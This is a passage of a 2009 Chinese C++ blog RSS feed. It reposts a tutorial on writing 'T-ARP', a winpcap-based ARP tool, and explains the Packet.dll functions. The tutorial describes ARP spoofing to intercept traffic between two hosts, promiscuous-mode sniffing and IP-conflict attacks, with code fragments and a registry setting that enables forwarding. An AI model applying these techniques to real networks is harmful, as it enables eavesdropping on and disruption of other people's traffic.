<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}<br></p>
</font>
<img src ="http://www.cppblog.com/binghuo/aggbug/76069.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:06 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具一(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:05:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76068.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76068.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76068.html</trackback:ping><description><![CDATA[<p><font size=2>一 winpcap驱动简介<br>二 Packet.dll相关数据结构及函数<br>三 T-ARP功能及原理介绍<br>四 T-ARP主要代码分析<br>五 T-ARP源代码</font></p>
<p><font size=2>一）winpcap驱动简介<br>&nbsp;&nbsp;&nbsp; winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：<br>&nbsp;&nbsp;&nbsp; 1&gt; 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；<br>&nbsp;&nbsp;&nbsp; 2&gt; 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；<br>&nbsp;&nbsp;&nbsp; 3&gt; 在网络上发送原始的数据报；<br>&nbsp;&nbsp;&nbsp; 4&gt; 收集网络通信过程中的统计信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。</font></p>
<p><font size=2>二）Packet.dll相关数据结构及函数&nbsp; <br>&nbsp;&nbsp;&nbsp; 本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 首先介绍一些相关的数据结构：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. typedef struct _ADAPTER&nbsp; ADAPTER&nbsp; //描述一个网络适配器；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. typedef struct _PACKET PACKET&nbsp;&nbsp;&nbsp;&nbsp; //描述一组网络数据报的结构；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3. typedef struct NetType NetType&nbsp;&nbsp;&nbsp; //描述网络类型的数据结构；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4. typedef struct npf_if_addr npf_if_addr&nbsp; //描述一个网络适配器的ip地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5. struct bpf_hdr&nbsp;&nbsp; //数据报头部；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6. struct bpf_stat&nbsp; //当前捕获数据报的统计信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：<br>&nbsp;&nbsp;&nbsp; 1&gt;&nbsp; LPPACKET PacketAllocatePacket(void)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 2&gt;&nbsp; VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关闭参数中提供的网络适配器，释放相关的ADAPTER结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 3&gt;&nbsp; VOID PacketFreePacket(LPPACKET lpPacket)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 释放参数提供的_PACKET结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 4&gt;&nbsp; BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回可以得到的网络适配器列表及描述。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 5&gt;&nbsp; BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回某个网络适配器的全面地址信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IPAddress: ip地址<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SubnetMask: 子网掩码<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Broadcast: 广播地址</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 6&gt;&nbsp; BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回某个网络适配器的MAC类型。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMedium802_3: Ethernet(802.3)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumWan: WAN<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMedium802_5: Token Ring(802.5)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumFddi: FDDI<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumAtm: ATM<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumArcnet878_2: ARCNET(878.2)</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 7&gt;&nbsp; BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回几个关于当前捕获报告的统计信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 8&gt;&nbsp; PCHAR PacketGetVersion()<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回关于dll的版本信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 9&gt;&nbsp; VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 初始化一个_PACKET结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 10&gt; LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 打开一个网络适配器。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 11&gt; BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从NPF驱动程序读取网络数据报及统计信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 12&gt; BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发送一个或多个数据报的副本。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 13&gt; BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置捕获数据报的内核级缓冲区大小。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 14&gt; BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为接收到的数据报设置硬件过滤规则。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以下为一些典型的过滤规则：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 15&gt; BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 16&gt; BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置在接收到一个数据报后&#8220;休息&#8221;的时间。<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; 以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： <a href="http://winpcap.polito.it/"><u><font color=#0000ff>http://winpcap.polito.it</font></u></a></font></p>
<p><font size=2>三）T-ARP功能及原理介绍<br>&nbsp;&nbsp;&nbsp; 准备工作：&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：<br>　　&nbsp; 　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 选项:&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m&nbsp; 主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -a&nbsp; 反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s&nbsp; ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r&nbsp; 重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 原理及实现过程：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m&nbsp; 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -a&nbsp; 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r&nbsp; 在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>四）T-ARP主要代码分析<br>&nbsp;&nbsp;&nbsp; 1&gt; 自定义函数：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int getmine()&nbsp;&nbsp;&nbsp; //发送ARP Request数据报，请求获得本地主机的mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void getdata(LPPACKET lp,int op)&nbsp; //分类处理接收到的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sniff(LPVOID no)&nbsp;&nbsp;&nbsp;&nbsp; //将网络适配器设置为混杂模式，接收所有流过的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sendMASR(LPVOID no)&nbsp; //发送ARP Request数据报，请求获得指定ip的mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sendSR(LPVOID no)&nbsp;&nbsp;&nbsp; //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 2&gt; 主要代码分析<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nLibarary Version: %s",PacketGetVersion());&nbsp; //输出dll的版本信息；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)&nbsp; //获得本地主机的网络适配器列表和描述；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpadapter=PacketOpenAdapter(adapterlist[open-1]);&nbsp; //打开指定的网络适配器；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetNetType(lpadapter,&amp;ntype)&nbsp; //获得网络适配器的MAC类型；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen)&nbsp; //获得指定网络适配器的相关信息；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);&nbsp; //创建一个新线程来监听网络数据报；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)&nbsp; //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetBuff(lpadapter,500*1024)&nbsp; //自定义网络适配器的内核缓的大小为 500*1024；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetReadTimeout(lpadapter,1)&nbsp; //设置接收一个数据报后等待的时间为1毫秒；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketReceivePacket(lpadapter,lppacketr,TRUE)&nbsp; //在设置为混杂模式后，接收所有的数据报；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);&nbsp; //创建一个新线程发送特定的ARP数据报</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetNumWrites(lpadapter,2)&nbsp; //在发送一个数据报时，重复发送两次；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSendPacket(lpadapter,lppackets,TRUE)&nbsp; //发送自定义数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WaitForSingleObject(sthread,INFINITE);&nbsp; //等待发送ARP数据报的线程结束；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetStats(lpadapter,&amp;stat)&nbsp; //获得网络适配器的统计信息；</font></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76068.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:05 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>